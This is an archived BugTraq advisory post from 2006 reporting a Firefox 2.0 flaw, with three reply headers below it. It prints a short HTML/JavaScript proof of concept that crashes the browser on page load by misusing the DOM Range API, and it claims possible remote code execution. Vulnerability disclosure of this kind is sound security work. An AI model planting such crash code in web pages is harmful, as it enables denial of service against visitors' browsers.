BugTraq
New Flaw in Firefox 2.0: DoS and possible remote code execution Oct 31 2006 09:24AM
xxxx gmail com (3 replies)
New Flaw in Firefox 2.0: DoS and possible remote code execution

PoC here: http://werterxyz.altervista.org/Firefox2Range.htm

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<script type="text/javascript">
function do_crash()
{
var range;

range = document.createRange();
range.selectNode(document.firstChild);
range.createContextualFragment('<span></span>');
}
</script>
</head>
<body onload="do_crash()">
<p>Good bye Firefox!</p>
</body>
</html>

[ reply ]
Re: New Flaw in Firefox 2.0: DoS and possible remote code execution Nov 01 2006 11:31PM
Jan Heisterkamp (janheisterkamp web de)
Re: New Flaw in Firefox 2.0: DoS and possible remote code execution Oct 31 2006 07:05PM
Gouki (Gouki GoukiHQ org)
Re: New Flaw in Firefox 2.0: DoS and possible remote code execution Oct 31 2006 06:41PM
Josh Bressers (josh bress net)


 

Privacy Statement
Copyright 2010, SecurityFocus